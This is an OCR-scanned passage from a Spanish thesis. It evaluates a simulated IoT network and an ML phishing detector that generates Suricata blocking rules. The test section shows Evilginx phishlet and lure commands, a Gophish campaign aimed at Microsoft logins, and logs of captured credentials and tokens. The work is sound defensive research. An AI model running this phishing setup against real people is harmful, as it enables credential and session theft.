ellos, de acuerdo con los umbrales que permite el modelo mencionado.

Figura 129

Simulacién de red loT

Figure 1 - o X

Mininet-WiFi Graph

350

300

250

200
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100
50

CJO 50 100 150 200 250 300
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# € $Q=

El apartado de conectividad también se constata por medio de la terminal de

comandos de Mininet-WiFi, donde a través de comandos especificos se comprueba la
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existencia de los enlaces entre los nodos con el punto de acceso, el cual incluye tanto
enlaces inaldmbricos como alambricos.

La Figura 130 presenta los detalles de los enlaces de red entre los dispositivos en
la topologia de Mininet-WiFi. Asimismo, la Figura 131 ofrece una vision mas detallada
de la topologia red simulada, mostrando los nodos y las conexiones entre ellos.

Figura 130

Detalles generales de la red

mininet-wifi>
mininet-wifi> net

serv serv-eth®:apl-eth2
serv2 serv2-eth@:apl-eth3
ips ips-eth®:apl-ethd

nat® nat@-ethO:apl-eth5

c

sala_nl sala_nl-wlan®:wifi
sala_n2 sala_n2-wlan@:wifi
hostl hostl-wlan®:wifi
coci_nl coci_nl-wlan®:wifi
dorm_nl dorm_nl-wlan®:wifi
entr_nl entr_nl-wlan®:wifi
gara_nl gara_nl-wlan@:wifi
gara_n2 gara_n2-wlan@:wifi
apl lo: apl-wlanl:wifi apl-eth2:serv-eth® apl-eth3:serv2-eth® apl-ethd:ips-eth® apl-eth5:nat@-ethe
mininet-wifi>

Figura 131

Detalles de enlaces de red

mininet-wifi> links

apl-eth2<->serv-eth® (0K OK)

apl-eth3<->serv2-eth® (OK OK)

apl-ethid<->ips-eth® (OK OK)

sala_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
sala_n2-wlan@<->wifi (use iw/iwconfig to check connectivity)
hostl-wlan@<->wifi (use iw/iwconfig to check connectivity)

coci_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
dorm_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
entr_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
gara_nl-wlan@<->wifi (use iw/iwconfig to check connectivity)
gara_n2-wlan@<->wifi (use iw/iwconfig to check connectivity)
nat@-eth@<->apl-eth5 (0K OK)

mininet-wifi>

Para continuar con el proceso de verificacion de conectividad, se realiza el envio
de paquetes ICMP desde cada nodo hacia todos los demas nodos, con el objetivo de
constatar la existencia de las rutas de comunicacion entre ellos. El procedimiento se lleva
a cabo utilizando el comando “pingall”. Los detalles de este proceso se presentan en la

Figura 132 y Figura 133.
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Figura 132

Pruebas de interconexion de dispositivos — Parte 1

mininet-wifi>

mininet-wifi> pingall

*%% Ping: testing ping reachability

serv => *** serv : ('ping -cl 10.0.0.101',)

PING 10.0.0.101 (10.0.0.101) 56(84) bytes of data.

64 bytes from 10.0.8.101: icmp_seq=1 ttl=64 time=1.66 ms

-—- 10.0.0.101 ping statistics ——-

1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt min/avg/max/mdev = 1.663/1.663/1.663/0.000 ms

servl *x* serv : ('ping -cl 10.0.0.254',)

PING 10.0.0.254 (10.0.0.254) 56(84) bytes of data.

64 bytes from 10.0.08.254: icmp_seq=1 ttl=64 time=0.470 ms

Figura 133

Pruebas de interconexion de dispositivos — Parte 2

--- 10.0.0.15 ping statistics -—-

1 packets transmitted, 1 received, 0% packet loss, time Bms
rtt min/avg/max/mdev = 2.600/2.600/2.600/0.000 ms

entr_nl *** gara_n2 : ('ping -c¢1 10.0.0.16',)

PING 10.0.0.16 (10.0.0.16) 56(84) bytes of data.

64 bytes from 10.0.0.16: icmp_seq=1 ttl=64 time=0.868 ms

--- 10.0.0.16 ping statistics —-—-
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = ©.868/0.868/0.868/0.000 ms

gara_nl
*x*x Results: 0% dropped (131/132 received)
mininet-witi> |

4.41.2 Prueba 02F. Conexidén de los nodos con el servidor CoAP

En la siguiente seccion, se muestra el funcionamiento del proceso de
comunicacion mediante el protocolo CoAP (Constrained Application Protocol). De esta
manera es posible evidenciar la transmisién de datos desde el nodo que actiia como sensor
en la topologia propuesta. La verificacion de este proceso se evidencia por medio de dos
métodos: la recepcion de los mensajes en los terminales y la examinacion de los paquetes

mediante la herramienta de Wireshark.

La Figura 134 y Figura 135 muestra el proceso de transmision, asi como la

recepcion de datos entre el servidor y cliente por medio del protocolo CoAP.
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Figura 134

Comunicacion - Servidor CoAP

"NModo Servidor CoAP: h1"

Figura 135

Comunicacion - Cliente CoAP

En la siguiente seccion se muestran los detalles de los paquetes de trafico
capturados en el proceso de comunicacion. El formato utilizado en la comunicacion
mediante CoOAP abarca los tipos de solicitudes y respuestas. La recepcion de los mensajes
se verifica a través de un identificador unico, que se confirma a través de un marcador de
confirmacion y su correspondiente acuse de recibo. Cabe destacar que el identificador es

el mismo tanto en el paquete de solicitud como en el de respuesta.
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Los detalles del paquete del mensaje confirmable y del acuse de recibo,
mencionados anteriormente, se muestran en la Figura 136 asi como en la Figura 137,

respectivamente.

Figura 136

Paquete de Mensaje Confirmable (CON)

Net_Traffic.pcap s ®

fle Edit yiew Go gopture gnalyze gatistics Telephony ureless Iools telp

AE LD @NRODQAQCH>ICASTIE o0 E
A |coap 80 -+
o, Time Source. Destination protoeol Length Info =
1357.025688 10.0.0.10 106 CON, MID:3055, POST, TKN:d2 b6, /temperature
< 1387.028550 10.0.0.10 10.0.0.4 CoAP 104 ACK, MID:3055, 2.04 Changed, TKN:d2 b6, /temperature
29017.041361 10.0.0.4 10.0.0.10 COAP 106 CON, MID:3056, POST, TKN:d2 b7, /temperature
29217.043229 10.0.0.10 10.0.0.4 CoAP 104 ACK, MID:3056, 2.04 Changed, TKN:d2 b7, /temperature
(cConstrained Application Protocol, Confirmable, POST, MID:3055 )
BT.. .... = version: 1
..00 = Type: Confirmable (0)

. 0010 = Token Length: 2
Code: POST (2
Message ID: 3055
Token: d2bé
- Opt Name: #1: Uri-Path: temperature
End of options marker: 255
[Uri-Path: /temperature]
[Response In: 138]
» Payload: Payload Content-Format: application/octet-stream (no Content-Format), Length: 5
.Data (5 bytes)

0 00 12 80 09 cO 00 88 01 40 00 02 00 00 00 04 00 - @ -
00 00 60 00 00 04 B0 00 00 B0 00 06 60 ©1 aa aa - e
03 00 00 00 08 00 45 00 ©0 34 aa be 40 00 40 11 - -E- 4..@-@
7b fb 6a 00 00 04 6a 00 06 Ga 9a 7d 16 33 60 20 { .. .--- -..}-3.
c7 2b 42 02 6b ef d2 b6 bb 74 65 6d 70 65 72 61  +B- ... - -tempera
0060 74 75 72 65 Tf EFEEIECIIECIEL ture - EEIEN
O 7 Frame (frame), 106 byteis) Packets: 3109 - Displayed: 54 (1.7%) Profile: Dehm;
Figura 137

Paquete de Acuse de Recibo (ACK)

MNet_Traffic.pcap - 1 ®

flle Edit yiew go gapture analyze gtatistics Telephony yirels ools Help

AR @ @NREQALC > Il ERCRa:

A [coap -]

No. Time Souree Destination Protocol Length Info =

—+ 1357.025688 10.0.0.4 10.0.0.10 CoAP 106 CON, MID:3055, POST, TKN:d2 b6, /temperature

+- 1387.028550 10.0.0.10 10.0.0.4 CoAP MID:3055, 2.04 Changed, TKN:d2 b6, /temperature
29017.041361 10.0.0.4 10.0.0.10 CoAP 106 CON, MID:3056, POST, TKN:d2 b7, /temperature

20217.043229 10.0.0.10 10.0.0.4 COAP 104 ACK

MID:3056, 2.04 Changed, TKN:d2 b7, /temperature s

Constrained Application Protocol, Acknowledgement, 2.04 Changed, MID:3055 -
o1, . = Version: T
..10 = Type: Acknowledgement (2)

. 0010 = Token Length: 2

Code: 2.84 Changed (68)
( Message ID: 3055 )
Token: d2bé

End of opntions marker: 255
[Uri-Path: /temperature]

Request in: 135
[Response Time: 0.002862000 seconds]

- Payload: Payload Content-Format: application/octet-stream (no Content-Format), Length: 1
+Data (15 bytes)

0010 00 48 80 09 cO 00 08 02 0O 00 0O 0O 00 0O 00 04 Heoe e 5

0020 02 00 00 00 04 00 00 00 0O Q0 00 06 70 02 aa aa Y
03 00 00 00 08 00 45 00 00 32 18 29 40 00 40 11 ceoE- -2:)@-0-
Oe 85 Da 00 00 Oa Ga 00 00 04 16 33 9a 7d 00 le <3}

61 ed 62 44 0b ef d2 b6 f ENSEZIGINENCNY a b0 - -FEEENE
65 63 69 62 69 64 6T 73

© ¥ Frame (rame), 104 byte(s) Packets: 3108 - Displayed: 54 (1.7%) Profile: Defaule
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44.1.3 Prueba 03F. Acceso al cliente de correo desde el nodo “host1” de la red

loT

En concordancia con los objetivos del trabajo el despliegue del sistema, asi como
la interaccion entre nodos y la apertura de recursos de software se los ejecuta desde los

nodos de la red.

En este sentido se constata que las configuraciones de red de los nodos se asocien
a los programas que se ejecutan de manera interna desde la red 10T generada por Mininet-
WiFi.

La Figura 138 sefiala la apertura del cliente de correo de Thunderbird desde el

nodo “hostl” de la red IoT, de esta manera se mantiene el trafico generado desde

cualquier nodo dentro de la red simulada por Mininet-WiFi.

Figura 138

Verificacion de direccion IP y apertura de Thunderbird

thunderbird "Node: host1"

bird

OWER_UP> mtu 1500 qdisc mq s

lan0

En el siguiente paso se observa como el cliente empieza a descargar todos los

correos alojados en el servidor.

La Figura 139 muestra la ejecucion de Thunderbird, desde el punto de vista de la
red, el programa emplea las configuraciones del nodo, sin embargo, los procesos de
enrutamiento tambiéen son orquestados por el protocolo de OpenFlow el cual aisla el plano

de datos del resto de planos.
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Figura 139
Inicializacion del cliente de correo desde el nodo "host1"

TestEmail - F3rch095@hotmail.com - Mozilla Thunderbird

ch... [CTR) + [K o\l

¥

D {+ New. Me... J .. Tes... 8Messages [ il Quic... S & Reply || @ Forward || (&) Archive || @ Junk|| i Delete

GANADOR DEL PREMIO ...  7/7/24,20:36 More V|
FELICITACIONES g Banco Pichincha
T 10/7/24, 09:54 pichincha@azure-recover.cam
65 TestEmail Tiene (1) paquete pendiente de... To Me ® 721
B9 TestEmailModel _ MARIANA VELEZ SIERRA  22/7/24,18:34 | Alerta de Seguridad - Banco Pichincha
[E Drafts Re: informacién
<7 Sent ANDRES ROMERO SALA... 30/7/24,15:23 To protect your privacy, Thunderbird has
Dlunk Re: IMPORTANTE!!! PAGO = blocked remote content in this message. ~

i Edison Picuasi 20/1/25, 22:35 _
fil Deleted 1/ Preferences

Reunioén para Planificar el Proy...

v 3 F3rcho95@hotma...

v 18 Inbox (@s08)

BRScchiv Microsoft Outlook 24/1/25,09:48
© Notes Alerta de Seguridad - Microsoft...
Outb: i % :
B Outbox Microsoft Outlool: . 27/1/25, 09:40 Banco Pichincha
v B3 Problemasdesi... | Alerta de Seguridad - Microsoft...
B5 Conflictos (23 Banco Pichincha 17:24
&5 Errores delse... | Alertade Seguridad-Banco Pic... i .
Notification
B3 Errores locales
Y/ =itocalFolders Banco Pichincha
il Trash
& outbox Dear user,

Para constatar que el recurso asociado emplea las configuraciones heredadas por
el nodo se realiza un envio de correo desde el cliente, conforme se realice dicha accion

los detalles seran capturados por el analizador de paquetes de red Wireshark.

La Figura 140 muestra la creacion y envio de correo desde el cliente Wireshark

hacia un punto fuera de la red.
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Figura 140

Envio de correo

Write: Verificacion - Thunderbird
File Edit View Insert Format Options Tools Help
<J'send | G Encrypt £Spelling|~ & Save| v Contacts
From  Edison Picuasi <f3rch095@hotmail.com> /f3/«¢
To ] efpicuasif@gmail.com

Subject ‘Verificacion

Body Text V[ variable width v| i}y T 7- T:[B I Y

Este es un mensaje de verificacion

Sending Message - Verificacion

Status: Sending message...
Progress:

Finalizado el proceso de envio los detalles de trabajo referente al envio de correo
seran registrados por Wireshark, en donde se puede observar como los detalles de la IP
se asocian o corresponden con las del nodo y son empleados con la transferencia de

informacidén por medio de SMTP.

La Figura 141 muestra la informacion de los paquetes de trafico capturados por

Wireshark en relacién con el protocolo SMTP.

Figura 141

Captura de paquetes SMTP

*host1-wlan0 - 0 &
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AEmde mARE ISeEF S S
T+

(W]smtp
No.

Destination
10.0.0.20
52.96.184.50 SMTP

Time Source
52478 320.380678251 52.96.184.50
52480 320.393438590 10.0.0.20
52523 320.497116809 52.96.184.50
52529 320.553613617 52.96.184.50 10.0.0.20 SMTP
52531 320.557480413 10.0.0.20 52.96.184.50 SMTP
52534 320.660257047 52.96.184.50 10.0.0.20 SMTP
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4.4.1.4  Prueba 04F. Almacenamiento y Representacion de Datos

El apartado de monitorizacion de los datos de los dispositivos se fundamenta en
la representacion grafica de los valores registrados por los diversos nodos de la red
simulad a lo largo de multiples instancias de tiempo. La recopilacion de datos se lleva a
cabo mediante la transmision de informacion desde los nodos hacia InfluxDB Cloud, que
posteriormente se visualiza en el servicio de Grafana Cloud. La Figura 142 y Figura 143
muestran los detalles de los pardmetros sondeados por los nodos de la red y la

representacion de dichas métricas respectivamente.

Figura 142

Detalles del almacenamiento de datos del nodo foco inteligente

Schema

% SQL Sync
Browser o u

Bucket t - interval 'l hour'
Smart Home £ NOT NULL OR "color" IS NOT NULL OR "is
ulb id" IN ('bulbl’','bulb2’,'bulb3')

Measurement

smart_bulb

Q

Fields

v brightness

Ready (119ms) © Pastih
v| color Y

v/ is_on

Tag Keys TABLE | GRAPH
~ bulb_id
v bulb1

v bulb2
~'bulb3 white 2625-01-24723:33:2¢

white 2025-01-24723:33:5¢

white 20625-01-24T23:35:5¢
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Figura 143

Representacion de las métricas generadas por los nodos

Enchufe Inteligente Sensor de Temperatura

smart_plug", plug_id="plug1"}

Focos

brightne 1 ||.'.'.'....“

ulb1 §

o.. [N

n bulb2 §

]

is_on bulb3 [§

4.4.15  Prueba 05F. Conexidn y extraccion de los detalles del correo (Contenido

y Encabezado)

Este apartado se describe el proceso de conexion al servidor de correo electronico
el cual se produce a través de la libreria MSAL para Outlook. Tras superar el proceso de
autenticacion, el sistema accede al directorio establecido para realizar el andlisis de los
correos. El proceso continta con la extraccion de los detalles de cada correo. En lo
referente a la seccion del contenido, se realiza un proceso de depuracion del texto, de esta
manera se aisla el texto plano, eliminando todos los elementos y funciones propias de

HTML.

La Figura 144 muestra el resultado del preprocesamiento del contenido del correo,
después de aplicar los procesos de eliminacion de caracteres especiales, espacios

redundantes y etiquetas HMTL.
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Figura 144

Detalles del contenido del correo

Contenido del Correo:

jAcabamos de enviar tu pedido!

Oye {Fullname},

Esta es solo una actualizacion rapida para hacerle saber que su pedido esta ahora en el correo y en cami
no a usted. Para rastrear su envio y ver su estado de entrega, haga clic en el enlace a continuacién.
Pero recuerde, actualizar el seguimiento una y otra vez no hara que su paquete llegue mas rapido.

Envio estimado: ~1 - 2

dias ELl pedido esta en proceso de preparacion para su envio y se necesita su confirmacion.

Rastrea tu orden -»

Atentamente,

Su equipo de seguimiento y localizacion

esperamos que disfrute recibiendo este mensaje. Sin embargo, si prefiere no recibir futuros correos elec
tronicos de este tipo de Track & Trace. por favor optar por no participar

aqui

La Figura 145 resalta los detalles del remitente y asunto extraidos por medio de la

libreria soup del correo en formato HTML.

Figura 145

Detalles del encabezado del correo

Links: ['http://firget.com/9619d', 'https://unsubribe.com/unsubscribe/- L.com/2/global']
Sender domain: maisondelacravate

From: paqueté@maisondelacravate.fr
Subject: Tiene (1) paquete pendiente de entrega.

4.4.1.6 Prueba 06F. Calculo de la probabilidad de phishing y generacion de

reglas

Tras la obtencion del modelo resultante y configuracion completa de la topologia,
se incorpora el proceso de deteccion de phishing al nodo que alberga y ejecuta los
mecanismos de seguridad, especificamente el Sistema de Deteccion de Intrusos (IDS).
Los procesos de deteccion, que se ejecutan en segundo plano, se implementan mediante
un script cuya ejecucion de muestra en la Figura 146. Esta figura presenta los resultados
previstos, mostrando los porcentajes de probabilidad de phishing y los detalles del analisis

aplicado.
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Figura 146
Resultado de deteccion de ataques phishing

Phishing Model Probability: 99.88%
Suspicious Link Ratio: 100.00%

Combined Phishing Probability: 99.92%

Correo Phishing

A su vez en la Figura 147 se muestran los detalles de las URLS presentes en el

correo clasificado como phishing y que hacen alusion a enlaces maliciosos.

Figura 147
Obtencidn de enlace maliciosos

Blocked URLs:
http://firget.com/9619d

https://unsubribe.com/unsubscribe/ @hotmail.com/2/global

Una vez que concluya el andlisis de phishing, se genera la regla de Suricata
tomando como referencia los enlaces detectados como maliciosos y la plantilla para la

regla establecida dentro del script.

La resalta Figura 148 la regla creada durante el proceso de ejecucién del script
para la deteccién de phishing, en la que se toma el dominio como parametro de analisis

en el IDS

Figura 148

Creacion de regla de Suricata

local.rules

#drop http SHOME_NET any -> SEXTERNAL_NET any (msg:"Block Azure-Recover Domain"; content:"azure-
recover.cam": htto host: sid:5000008: rev:i:)

drop http SHOME_NET any -> SEXTERNAL_NET any (msg:"Acceso a sitio web bloqueado";
flow:established, to server; content:"Host: "; http_header; content:"firget.com"; distance:0; nocase;
s1d:1000002; rev:1;)

#drop tcp any any -> any any (msg:"facebook esta bloqueado"; content:"facebook"; sid:1000006; rev:1;)
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4.4.2 Pruebas Especificas

En la seccidn de pruebas especificas, se evalla la topologia de red en base dos
escenarios: con el sistema de deteccion de phishing activo y sin él. Para llevar a cabo la
evaluacion de manera satisfactoria, es necesario configurar un entorno que simule el
ataque phishing de forma controlada. Esta configuracion implica la creacion de sefiuelos
mediante herramientas como Evilginx y Gophish. Estas herramientas permiten emular las
técnicas empleadas en ataques phishing reales, proporcionando un esquema de pruebas

riguroso y realista para evaluar la eficacia del sistema de deteccion.

4.4.2.1  Configuracion del sefiuelo

El proceso de configuracidn parte con la creacion del sefiuelo en este caso se
empleara el phishlet Microsoft2024 y el dominio alojado en el servicio de DNS, de esta
manera se logra emular el servicio de autenticacion de Microsoft. Una vez generado el

phishlet, se habilita y se obtienen las certificaciones TLS (ver Figura 149).

Figura 149

Configuracion de Phishlets

: phishlets hostname Microsoft2024 homeinnovators.cloudns.ch

[06:07:28] [inf] phishlet 'Microsoft2024' hostname set to: homeinnovators.cloudns.ch

[06:07:28] [inf] disabled phishlet 'Microsoft2024'

;| phishlets enable Microsoft2024

[06:07:41] [war] phishlets: hostname 'login.microsoftonline.com' collision between '0365-mfa' and 'Mic

rosoft2024' phishlets

[06:07:41] [war] phishlets: hostname 'login.live.com' collision between '0365-mfa' and 'Microsoft2024'
phishlets

[06:07:41] [inf] enabled phishlet 'Microsoft2024'

[06:07:41] [inf] obtaining and setting up 6 TLS certificates - please wait up to 60 seconds...
[06:07:41] [inf] successfully set up all TLS certificates

Como paso siguiente se genera el sefiuelo “lure”, que a breves rasgos son enlaces
de phishing que se emplearan en el despliegue de la campafa de phishing. El sefiuelo
enlaza el dominio DNS vy el enlace de phishing, por medio del comando lures get-URL

[id] se obtiene el enlace completo.

La Figura 150 muestra el procedimiento para generar el enlace malicioso en

Evilginx.
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Figura 150

Configuracion de Sefiuelo (Lures)

: lures create Microsoft2024
[06:08:02] [inf] created lure with ID: ©
:| lures

id phishlet hostname redirector redirect_url paused

0

[06:08:06] [war] [ ] unauthorized request: https://microsoft.homeinnovators.cloudns.ch/ (M
0zilla/5.0 (iPhone; CPU iPhone 0S 16_0 like Mac 0S X) AppleWebKit/605.1.15 (KHTML, like Gecko) Cri0S/9
9.0.4844.47 Mobile/15E148 Safari/604.1) [168.151.175.236]

:! lures get-url 0

En el apartado de Gophish se elabora una nueva campafa de phishing en el cual
se incrusta la URL obtenida previamente y se rellenan los campos de configuracién

pertinentes enfocados al objetivo, asi como al sitio web falso (ver Figura 151).

Figura 151

Configuracion de Campafia de Phishing

New Campaign

Name:

Email Template:

Evilginx Lure URL: @

| https://login.homeinnovators.cloudns.ch/hkAydxWT

Launch Date

July 13th 2024, 9:43 pm

Send Emails By (Optional) @

Sending Profile:

Groups:

f Launch Campaign
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En el lado de la victima se aprecia la recepcion del correo phishing que simula
una alerta de seguridad tipica mas realista en el que se hace mencién la causa y cémo

solucionar el posible problema de seguridad.

4422 Prueba O1E. Prueba sin el sistema activo

Para el caso de prueba se simula la interaccion Continuando con la prueba se
procede al acceso al URL insertado en el correo, acto seguido se produce una redireccion

al sitio falso en el cual se solicita las credenciales de acceso (usuario y contrasefia).

La Figura 152 ilustra la recepcion del correo malicioso desplegado desde la

plataforma de Gophish.

Figura 152

Recepcion del correo phishing

) Leido /No leido ¥ Marcar/Desmarcar £ Descubrir grupos

a D

Alerta de Seguridad - Microsoft Outloak

Outlook<alina bel20@

Microsoft Logo

Alerta de Seguridad Importante (o]

E & 8B B ¢ & «

Hemos detectado actividad inusual en su cuenta de Microsoft.

Estimado usuario,

han detectado un intento de inicio de sesién
r su seguridad, le recomendamos

En el siguiente paso y en lo que respecta a la simulacion de robo de credenciales,
se inserta tanto la direccién de correo como la contrasefia asociada a dicho servicio (ver

Figura 153)
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Figura 153

Ingreso de Credenciales - Contrasefia

= Iniciar sesion en lacuent X +

O & o htt 1 homeinnovators.cloudns.ch/log

B2 Microsoft
& geor_sant33@outlook.com

Escribir contrasefia

Iniciar sesién

Una vez finalizado el inicio de sesién el atacante una vez mas realiza la
redireccion a la pagina legitima del servicio de correo, dicho proceso se puede apreciar

en la Figura 154,

Figura 154

Captura de Credenciales

microsoft.homeinnovatc x  +

O B httpsy//microsofthomeinnovators.cloudns.ch/auth/cor

Posterior al proceso de acceso en el lado del atacante se captura la informacién de

las credenciales de la victima.

La Figura 155 muestra los valores del nombre de usuario y contrasefia capturados

en el proceso de acceso por parte de la victima.
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Figura 155
Detalles de Captura de Credenciales

[06:08:57] [war] [ ] unauthorized request: https://microsoft.homeinnovators.cloudns.ch/ (M
ozilla/u4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)) [144.76.57.4]

[06:13:47] [ ] [e] [ ] new visitor has arrived: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:128.0) Gecko/20100101 Firefox/128.0 (157.100.134.162)

[06:13:47] [inf] [0] [ i : https://login.homeinnovators.cloudns.ch/hkAydxWT

[06:14:47] [EE=E] [0] L g t33@outlook.com]
[06:14:56] [ERER] [0] all authorization tokens intercepted!

[06:14:u7] [EEE] [6] g
[06:14:47] [(E=1] [0] Userr t33@outlook.com]
1

4423 Prueba 02E. Prueba con el sistema activo

En este apartado se verifica los resultados de prediccion del modelo en 3
escenarios: el primero corresponde a la prediccion obtenido durante el proceso de
entrenamiento y los dos escenarios restantes reflejan los resultados de las pruebas

ejecutadas en base a dos lotes de correos de prueba.

e Escenario 1 — Entrenamiento

Por medio de la informacion de la Tabla 27 se puede determinar que, para el
primer escenario, con un total de 2582 muestras analizadas, 1314 fueron clasificadas
correctamente como Verdaderos Negativos (VN); lo cual indica que fueron identificadas
como correos seguros de manera correcta. Asimismo, se obtuvieron 1202 muestras
clasificadas correctamente como Verdaderos Positivos (VP); correspondiente a los
correos electrénicos identificados de forma correcta como phishing. Por otro lado, se
registraron un nimero de 45 casos catalogados como Falsos Positivos (FP), es decir
correos seguros que fueron identificados erroneamente como phishing, y 21 casos como
Falsos Negativos (FN), correspondiente a correos phishing que fueron catalogados

incorrectamente como seguros.
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Tabla 27

Resultados de la matriz de confusién — Escenario 1

Prediccion
Safe Phishing
Safe VN: 1314 FP: 45
Phishing FN: 21 VP: 1202
o Precisién (Precision)
P=vpyrp 100
1202 100 = 96,39%
= % =
1202 + 45 S

o Recuperacion (Recall):

=vprrn 10
R 1202 00 =98 28%
= — % =
1202 + 21 a=70

o Puntuacion F1 (F1 score):

Precision * Recuperacién

F1 score = 2 * — y:
Precision + Recuperacion

96,39 * 98,28
*
96,39 + 98,28

F1 score =2 =97,33%
e [Escenario 2 — conjunto de muestras 1:
El esquema de prueba para este escenario comprende el uso del siguiente dataset

“Darito/spanish_spear phishing”, el cual sirve como una base de informacion para la
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generacion de los correos en formato eml por medio de un script de Python. Los archivos
en formato eml cuyo nimero se sitta en alrededor de las 200 muestras son importados al

servicio de correo por medio de Thunderbird.

Los correos electronicos importados son reubicados en directorios especificos en
el buzén del usuario, vez configurado todo lo necesario se inicia el proceso de analisis de

phishing.

La Tabla 28 detalla los resultados de la prediccion de phishing basada en el

modelo, los cuales fueron analizados conforme al tipo de correo e idioma.

Tabla 28

Resultados de analisis de deteccion de phishing — Escenario 2

Resultados del modelo

Cantidad Tipo de Correo
Seguro Phishing
50 Correo seguro (inglés) 29 21
50 Correo seguro (espafiol) 46 4
50 Correo phishing (inglés) 7 43
50 Correo phishing (espafriol) 15 35

La Tabla 29 muestra la sumatoria de los resultados en funcién de los 4 posibles
casos a suscitarse dentro del analisis, dichos valores se calculan a partir de los datos

expuestos en la Tabla 28.

Tabla 29

Resultados de la matriz de confusién — Escenario 2.

Prediccion
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Safe Phishing
Safe VN: 75 FP: 25
Phishing FN: 22 VP: 78
o Precision (Precision)
P=vprrp 1%
P 78 100 = 75,72%
= * =
78 + 25 e

o Recuperacion (Recall):

R —VP 100
= *

VP +FN

= e 0
R 78+22*100 78%

o Puntuacion F1 (F1 score):

Precision * Recuperacién

F1score =2 % — —
Precision + Recuperacion

F1 05 272278 _ L oay
= * —
score 75,72 + 78 0%

e [Escenario 3 — conjunto de muestras 2:
En este caso, se replica el método de generacion de correos por medio del dataset,
con un ligero cambio en el numero total de muestras empleadas. Se empleara un total de

2000 correos, distribuida equitativamente entre cada tipo de correo e idioma. Los detalles
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del lote de correos empleado en la deteccidn de phishing para este escenario se muestran

en la Tabla 30.

Tabla 30

Resultados de andlisis de deteccion de phishing - Escenario 3

Resultados del modelo

Cantidad Tipo de Correo
Seguro Phishing
500 Correo seguro (inglés) 452 48
500 Correo seguro (espafiol) 466 34
500 Correo phishing (inglés) 53 447
500 Correo phishing (espafriol) 109 391

La Tabla 31 muestra los resultados de deteccion para el escenario 3, dichos valores

se presentan en funcion de los 4 posibles casos a suscitarse dentro del anélisis.

Tabla 31

Resultados de la matriz de confusién — Escenario 3

Prediccion

Safe Phishing
Safe VN: 918 FP: 82
Phishing FN: 162 VP: 838
o Precision (Precision):

P = L * 100

VP + FP
838

e EE— = 0,
P 838+82*100 91,08%
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o Recuperacion (Recall):

=vprrn 1
R 838 100 = 83,80%
= —— % =
838 + 162 SRR

o Puntuacion F1 (F1 Score):

Precision * Recuperacién
F1 score = 2 %

Precisién + Recuperaciéon

91,08 * 83,80
*
91,08 + 83,80

F1 score =2 = 87,28%

La Figura 156 muestra la ejecucion del script en el nodo “serv”, el cual realiza los
procesos de conexion, adquisicion y célculo de la probabilidad de phishing, ademas que
en base a los resultados genera acciones de eliminacion de correos y la generacion de

reglas de Suricata.

Figura 156

Inicializacion del proceso de deteccion de phishing

"Node: serv" - o &

oment S homeseddpic/Ezcritorios/Tesis# sudo python MLP_Pro A letecction_NLP
Y

Tras culminar el proceso de analisis, se presenta un resumen general en el que se
detalla el numero total de correos analizados, asi como el nimero de casos detectados,
tanto de correos clasificados como phishing como de correos seguros. Los resultados

obtenidos pueden observarse en la Figura 157.
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Figura 157

Detalles de analisis de phishing

Links: []

Sender domain:

From:

Subject: Urgently pls.

Phishing Model Probability: 99.88%
Suspicious Link Ratio: 0.00%
Combined Phishing Probability: 64.92%

Correo Phishing

Blocked URLs:

Total de correos phishing detectados: 35
Total de correos seguros: 15

Total de correos: 50

202

Carga reglas de Suricata

Posteriormente se genera una notificacion a manera de correo electrénico con un
caracter de urgente en los que se detalla el nimero de casos de phishing suscitados durante

el andlisis.

La Figura 159 muestra la notificacion de llegada del correo a Thunderbird, el cual

se encuentra anexado a un nodo de la red loT.

Figura 158
Notificacion de correo Thunderbird

12defeb 16:08 e

F3rch095@hotmail.com received 1 new message

Alerta de Phishing from Edison Picuasi Se han detectado 35c...

En las particularidades del correo electronico, ilustrada en la Figura 159, se puede

apreciar el mensaje que incluye el nimero de casos detectados, el asunto y el nivel de
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prioridad asignado. Este mensaje sigue el patron de correo estipulado en la funcion de

“draft_ message body”, la cual define la estructura y el formato de los correos de alerta.

Figura 159
Notificacion de resultados de analisis de phishing

— Inicio Vista Ayuda

Prioritarios Otros O = 1 Alerta de Phishing

Otros: nuevos mensajes (14)
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Se han detectado 35 correos phis...

CC: Usted

» Edison Picuasi —
7 Alerta de Phishing Se han detectado 35 correos phishing

Se han det

Responder £\ Responder a todos 2 Reenviar
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La Figura 160 ilustra los detalles de red del nodo “host1”, el cual servira como

dispositivo de prueba en el proceso de interaccion con enlaces sospechosos de phishing.

Figura 160

Detalles de red del nodo (Host1)

"Node: host1"

NOWN group default ql

default glen 1000

De igual forma, se corrobora el funcionamiento del IDS Suricata. Como se
muestra en la Figura 161, se evidencia el correcto funcionamiento del servicio, asi como

la monitorizacion en la interfaz “ap1-eth4”.
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Figura 161
Detalles de funcionamiento de Suricata

"Node: serv"

suricata

endor preset: enabled)

7.0,6 RELEASE runningy
2 FM: 1 FR: 1  Engine si

rootBoment/homes

Para que Suricata actle como un agente activo, es decir que sea capaz de generar
acciones en respuesta al trafico de red, se procede a redirigir el trafico hacia Suricata
desde el cortafuegos de Linux. En ese sentido, se establecen las reglas para gestionar el
trafico entrante, saliente y el del reenvio. Este trafico es analizado, inspeccionado y
sometido a un proceso de toma de decisiones (permitir, descartar o modificar paquetes)

por parte Suricata, en un espacio de red denominado colas (NFQUEUE).

En la Figura 162 se presentan los comandos empleados para habilitar el modo IPS

en Suricata, el cual opera en conjunto con el cortafuegos y la herramienta de iptables.

Figura 162

Habilitacion de modo IPS mediante iptables

"Node: host1" o X

s# sudo iptables -1 FORWARD -j NFQUELE

# sudo iptables -1 INPUT -j NFOUELE
is# sudo iptables -1 OUTPUT -j NFOUELE
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Se evalua el funcionamiento del modo IPS de Suricata por medio de uno de los
nodos de la topologia, se lanza el recurso del navegador desde el nodo “hostl” para

constatar el bloqueo de acceso al enlace malicioso.

La Figura 163 muestra el proceso de peticion de acceso y la nula respuesta del

sitio web a través del navegador web.

Figura 163
Acceso al enlace malicioso

Mozilla Firefox

= Nueva pestafa * * YouTube x +

« 2> X Q  firget.com

-3l Importar marcadores... *Y Getting Started

